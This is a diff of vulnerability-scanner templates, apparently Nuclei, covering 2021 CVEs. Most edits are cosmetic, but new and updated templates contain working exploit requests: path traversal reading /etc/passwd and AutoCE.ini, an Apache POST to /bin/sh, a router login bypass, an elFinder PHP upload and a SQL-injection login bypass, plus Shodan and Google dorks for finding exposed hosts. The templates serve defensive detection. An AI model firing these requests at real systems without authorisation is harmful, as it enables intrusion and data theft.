@@ -15,7 +15,7 @@ info:
     cvss-score: 4.3
     cve-id: CVE-2021-37704
     cwe-id: CWE-668
-  tags: cve,cve2021,exposure,phpfastcache,phpinfo
+  tags: cve,cve2021,exposure,phpfastcache,phpinfo,phpsocialnetwork
 
 requests:
   - method: GET
@@ -23,6 +23,7 @@ requests:
       - "{{BaseURL}}/vendor/phpfastcache/phpfastcache/docs/examples/phpinfo.php"
       - "{{BaseURL}}/vendor/phpfastcache/phpfastcache/examples/phpinfo.php"
 
+    stop-at-first-match: true
     matchers-condition: and
     matchers:
       - type: word

cves/2021/CVE-2021-38751.yaml

@@ -1,7 +1,7 @@
 id: CVE-2021-38751
 
 info:
-  name: ExponentCMS <= 2.6 Host Header Injection
+  name: ExponentCMS <= 2.6 - Host Header Injection
   author: dwisiswant0
   severity: medium
   description: An HTTP Host header attack exists in ExponentCMS 2.6 and below in /exponent_constants.php. A modified HTTP header can change links on the webpage to an arbitrary value,leading to a possible attack

cves/2021/CVE-2021-39327.yaml

@@ -14,7 +14,7 @@ info:
     cvss-score: 5.3
     cve-id: CVE-2021-39327
     cwe-id: CWE-200
-  tags: exposures,packetstorm,cve,cve2021,wordpress
+  tags: exposure,packetstorm,cve,cve2021,wordpress
 
 requests:
   - method: GET

cves/2021/CVE-2021-40438.yaml

@@ -1,7 +1,7 @@
 id: CVE-2021-40438
 
 info:
-  name: Apache <= 2.4.48 Mod_Proxy SSRF
+  name: Apache <= 2.4.48 - Mod_Proxy SSRF
   author: pdteam
   severity: critical
   description: Apache 2.4.48 and below contain an issue where uri-path can cause mod_proxy to forward the request to an origin server chosen by the remote user.

cves/2021/CVE-2021-40661.yaml

@@ -0,0 +1,40 @@
+id: CVE-2021-40661
+
+info:
+  name: IND780 - Directory Traversal
+  author: For3stCo1d
+  severity: high
+  description: |
+    A remote, unauthenticated, directory traversal vulnerability was identified within the web interface used by IND780 Advanced Weighing Terminals Build 8.0.07 March 19, 2018 (SS Label 'IND780_8.0.07'), Version 7.2.10 June 18, 2012 (SS Label 'IND780_7.2.10'). It was possible to traverse the folders of the affected host by providing a traversal path to the 'webpage' parameter in AutoCE.ini This could allow a remote unauthenticated adversary to access additional files on the affected system. This could also allow the adversary to perform further enumeration against the affected host to identify the versions of the systems in use, in order to launch further attacks in future.
+  reference:
+    - https://sidsecure.au/blog/cve-2021-40661/?_sm_pdc=1&_sm_rid=MRRqb4KBDnjBMJk24b40LMS3SKqPMqb4KVn32Kr
+    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40661
+    - https://www.mt.com/au/en/home/products/Industrial_Weighing_Solutions/Terminals-and-Controllers/terminals-bench-floor-scales/advanced-bench-floor-applications/IND780/IND780_.html#overviewpm
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
+    cvss-score: 7.5
+    cve-id: CVE-2021-40661
+    cwe-id: CWE-22
+  metadata:
+    google-query: inurl:excalweb.dll
+    shodan-query: IND780
+    verified: "true"
+  tags: cve,cve2021,ind780,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/IND780/excalweb.dll?webpage=../../AutoCE.ini"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - 'ExePath=\Windows'
+          - 'WorkDir=\Windows'
+        condition: and
+
+      - type: status
+        status:
+          - 200

cves/2021/CVE-2021-41174.yaml

@@ -1,7 +1,7 @@
 id: CVE-2021-41174
 
 info:
-  name: Grafana 8.0.0 <= v.8.2.2 Angularjs Rendering Cross-Site Scripting
+  name: Grafana 8.0.0 <= v.8.2.2 - Angularjs Rendering Cross-Site Scripting
   author: pdteam
   severity: medium
   description: Grafana is an open-source platform for monitoring and observability. In affected versions if an attacker is able to convince a victim to visit a URL referencing a vulnerable page, arbitrary JavaScript content may be executed within the context of the victim's browser. The user visiting the malicious link must be unauthenticated and the link must be for a page that contains the login button in the menu bar. The url has to be crafted to exploit AngularJS rendering and contain the interpolation binding for AngularJS expressions.

cves/2021/CVE-2021-41773.yaml

@@ -4,7 +4,8 @@ info:
   name: Apache 2.4.49 - Path Traversal and Remote Code Execution
   author: daffainfo,666asd
   severity: high
-  description: A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49. An attacker could use a path traversal attack to map URLs to files outside the expected document root. If files outside of the document root are not protected by "require all denied" these requests can succeed. Additionally, this flaw could leak the source of interpreted files like CGI scripts. This issue is known to be exploited in the wild. This issue only affects Apache 2.4.49 and not earlier versions.
+  description: |
+    A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49. An attacker could use a path traversal attack to map URLs to files outside the expected document root. If files outside of the document root are not protected by "require all denied" these requests can succeed. Additionally, this flaw could leak the source of interpreted files like CGI scripts. This issue is known to be exploited in the wild. This issue only affects Apache 2.4.49 and not earlier versions.
   reference:
     - https://github.com/apache/httpd/commit/e150697086e70c552b2588f369f2d17815cb1782
     - https://nvd.nist.gov/vuln/detail/CVE-2021-41773
@@ -12,14 +13,13 @@ info:
     - https://twitter.com/ptswarm/status/1445376079548624899
     - https://twitter.com/h4x0r_dz/status/1445401960371429381
     - https://github.com/blasty/CVE-2021-41773
-  remediation: Update to Apache HTTP Server 2.4.50 or later.
   classification:
     cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
     cvss-score: 7.5
     cve-id: CVE-2021-41773
     cwe-id: CWE-22
   metadata:
-    shodan-query: apache version:2.4.49
+    shodan-query: Apache 2.4.49
     verified: "true"
   tags: cve,cve2021,lfi,rce,apache,misconfig,traversal,kev
 
@@ -32,6 +32,10 @@ requests:
         GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
         Host: {{Hostname}}
 
+      - |
+        GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd HTTP/1.1
+        Host: {{Hostname}}
+
       - |
         POST /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1
         Host: {{Hostname}}
@@ -42,7 +46,6 @@ requests:
     stop-at-first-match: true
     matchers-condition: or
     matchers:
-
       - type: regex
         name: LFI
         regex:

cves/2021/CVE-2021-42887.yaml

@@ -0,0 +1,45 @@
+id: CVE-2021-42887
+
+info:
+  name: TOTOLINK - Authentication Bypass
+  author: gy741
+  severity: critical
+  description: |
+    In TOTOLINK EX1200T V4.1.2cu.5215, an attacker can bypass login by sending a specific request through formLoginAuth.htm.
+  reference:
+    - https://nvd.nist.gov/vuln/detail/cve-2021-42887
+    - https://github.com/p1Kk/vuln/blob/main/totolink_ex1200t_login_bypass.md
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2021-42887
+    cwe-id: CWE-287
+  metadata:
+    shodan-query: title:"TOTOLINK"
+  tags: totolink,auth-bypass,cve,cve2021,router
+
+requests:
+  - raw:
+      - |
+        GET /login.htm HTTP/1.1
+        Host: {{Hostname}}
+
+      - |
+        GET /formLoginAuth.htm?authCode=1&userName=admin&goURL=&action=login HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body_1
+        words:
+          - "TOTOLINK"
+
+      - type: word
+        part: header_2
+        words:
+          - "Set-Cookie: SESSION_ID="
+
+      - type: status
+        status:
+          - 302

cves/2021/CVE-2021-43421.yaml

@@ -0,0 +1,52 @@
+id: CVE-2021-43421
+
+info:
+  name: Studio-42 elFinder < 2.1.60 - Arbitrary File Upload
+  author: akincibor
+  severity: critical
+  description: |
+    A File Upload vulnerability exists in Studio-42 elFinder 2.0.4 to 2.1.59 via connector.minimal.php, which allows a remote malicious user to upload arbitrary files and execute PHP code.
+  reference:
+    - https://github.com/Studio-42/elFinder/issues/3429
+    - https://nvd.nist.gov/vuln/detail/CVE-2021-43421
+    - https://twitter.com/infosec_90/status/1455180286354919425
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2021-43421
+    cwe-id: CWE-434
+  metadata:
+    verified: "true"
+  tags: cve,cve2021,elfinder,upload,rce,intrusive
+
+requests:
+  - raw:
+      - |
+        GET /elFinder/php/connector.minimal.php?cmd=mkfile&target=l1_Lw&name={{randstr}}.php:aaa HTTP/1.1
+        Host: {{Hostname}}
+        Accept: */*
+
+      - |
+        GET /elFinder/php/connector.minimal.php?cmd=put&target={{hash}}&content={{randstr_1}} HTTP/1.1
+        Host: {{Hostname}}
+
+      - |
+        GET /elfinder/files/{{randstr}}.php%3Aaaa?_t= HTTP/1.1
+        Host: {{Hostname}}
+        Accept: */*
+
+    req-condition: true
+    matchers:
+      - type: dsl
+        dsl:
+          - 'contains(body_3, "{{randstr_1}}")'
+          - "status_code == 200"
+        condition: and
+
+    extractors:
+      - type: regex
+        name: hash
+        group: 1
+        regex:
+          - '"hash"\:"(.*?)"\,'
+        internal: true

cves/2021/CVE-2021-43510.yaml

@@ -0,0 +1,47 @@
+id: CVE-2021-43510
+
+info:
+  name: Sourcecodester Simple Client Management System 1.0 - SQL Injection
+  author: edoardottt
+  severity: critical
+  description: |
+    Sourcecodester Simple Client Management System 1.0 contains a SQL injection vulnerability via the username field in login.php. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
+  reference:
+    - https://github.com/r4hn1/Simple-Client-Management-System-Exploit/blob/main/CVE-2021-43510
+    - https://www.sourcecodester.com/php/15027/simple-client-management-system-php-source-code.html
+    - https://nvd.nist.gov/vuln/detail/CVE-2021-43510
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2021-43510
+    cwe-id: CWE-89
+  metadata:
+    verified: "true"
+  tags: cve,cve2021,simpleclientmanagement,sqli,auth-bypass
+
+requests:
+  - raw:
+      - |
+        POST /classes/Login.php?f=login HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        username=admin'+or+'1'%3d'1'--+-&password=as
+
+      - |
+        GET / HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+    req-condition: true
+    cookie-reuse: true
+    matchers:
+      - type: dsl
+        dsl:
+          - 'contains(all_headers_1, "text/html")'
+          - 'status_code_1 == 200'
+          - 'contains(body_1, "{\"status\":\"success\"}")'
+          - 'contains(body_2, "Welcome to Simple Client")'
+        condition: and
+
+# Enhanced by md on 2022/12/08

cves/2021/CVE-2021-43734.yaml

@@ -17,18 +17,22 @@ info:
   metadata:
     shodan-query: http.html:"kkFileView"
     verified: "true"
-  tags: cve,cve2021,kkfileview,traversal
+  tags: cve,cve2021,kkfileview,traversal,lfi
 
 requests:
   - method: GET
     path:
       - "{{BaseURL}}/getCorsFile?urlPath=file:///etc/passwd"
+      - "{{BaseURL}}/getCorsFile?urlPath=file:///c://windows/win.ini"
 
+    stop-at-first-match: true
     matchers-condition: and
     matchers:
       - type: regex
         regex:
-          - "root:[x*]:0:0"
+          - "root:.*:0:0:"
+          - "for 16-bit app support"
+        condition: or
 
       - type: status
         status: